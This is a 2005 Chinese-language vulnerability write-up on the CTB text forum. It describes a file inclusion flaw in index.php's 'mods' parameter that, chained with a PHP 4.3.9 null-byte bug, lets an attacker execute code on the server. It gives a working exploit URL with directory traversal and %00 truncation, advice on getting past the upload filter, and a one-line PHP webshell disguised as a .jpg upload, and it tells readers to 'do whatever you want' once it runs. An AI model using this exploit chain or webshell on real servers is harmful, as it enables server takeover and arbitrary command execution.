CTB任意文件包含漏洞
本文作者:Sniper
文章性质:原创
发布日期:2005-08-14

前言

  CTB(China Text Bulletin)论坛是一款免费的国产文本论坛。由于代码比较成熟和文本论坛的方便特性在国内使用较为广泛。以前曾经粗略翻过一下改论坛的代码发现了一个XSS漏洞,后由于学业繁忙便没有再进行深度发掘。今年过年的时候又看了看代码发现了点重大安全隐患。

受影响的版本

CTB 1.73 bete1
在此之前的版本也应该受此影响,具体版本因为条件所限为能一一测试。

  index.php中由于对用户递交的mods变量未做足够的判断和过滤导致远程攻击者可以结合PHP本身漏洞执行PHP代码,进而获得服务器上的文件操作权限。

index.php部分代码如下:

if (!file_exists("./mods/".$mods.".php")) {
  $mods = "main";
}
require_once ("./mods/".$mods.".php");

  论坛的开发人员显然对于mods变量未做足够的防范,首先判断了一下文件是否存在,如果文件存在的话就直接包含该文件了,而我们可以在mods变量中添加若干个../来跳转目录,使程序包含进我们指定的PHP代码并且执行!当然大家也许会说我们能控制的仅仅是$mods部分,后面程序还会自动给加上一个.php的后缀。显然,在实际中远程攻击者如果能直接到服务器上上传一个.php的文件的话那他就不用这么麻烦再来利用这个漏洞了:)

   PHP本身也存在一个安全漏洞,并且正好为我们所用:php4.3.9存在字符攻击漏洞,利用此漏洞,攻击者可读取任意文件。存在于php4.3.6 ~ 4.3.9以及php5.0.0 ~ 5.0.2中的bug,攻击者可以通过构造上传文件的名称来跨越目录权限。这几个漏洞同时存在于win32及unix版本中,win32易受攻击!

Addslashes() 漏洞

  在Addslashes()函数中,空字节被错误编码,当某个文件通过include或者require来包含用户输入的文件时,攻击者就可以利用此漏洞来读取文件。

  Addslashes函数应该将空字节(在这篇文章中我们表示为”%00″)转化为”\0″,在php4.3.9中,空字节被转化为”\%00″,在include和require指令中所有在此之后的字符将会被忽略,攻击者可缩短include函数中要加载的文件名字。最后一个字符为反斜线,在windows系统中,反斜线是目录分割符。在php4.3.9中,反斜线前面的字符构成的文件名被加载。具体描述以及补丁参考官方公告

  再结合一下我们前面的代码分析,很容易的我们就可以想到我们只需要结合这个漏洞在mods变量上再做点手脚我们就可以达到目的了

  例如:

http://www.target.com/ctb/index.php?mods=../data/upfile/2_1_1118989409.jpg%00&forumid=1&postid=2&p=1

  我们指定mods=../data/upfile/2_1_1118989409.jpg%00

  而由于php本身的漏洞还有CTB程序的问题,CTB最后包含的文件将会是

require_once ("./data/upfile/2_1_1118989409.jpg");

  如果jpg里面写的是一个php木马呢,嘿嘿,后果会怎么样。

  说到这里就已经很清楚了,利用这个漏洞我们可以写一个短小的php木马来执行命令。不过上传的时候注意不要带一些字符:

if (stristr($uploadFileContent, 'form') !== false or stristr($uploadFileContent, 'javascript') !== false) {
  unlink($uploadNewPath);
  $this->showMsg("上传附件中含有系统禁止的字符,请先修改或压缩打包后重新上传");

  写一句话木马就可以了:

< ?php system($sniper);?>

  存为.jpg文件,然后上传,然后找到上传后的路径,再利用index.php包含、执行,OK了。想干什么干什么吧,嘿嘿,如果服务器禁止了system函数自己想办法吧,这不属于本问讨论范围了。php功能还是蛮强大的:)

 
打印这篇文章】【关闭该窗口
Copyright © 2004 Security Angel Team [S4T] All Rights Reserved.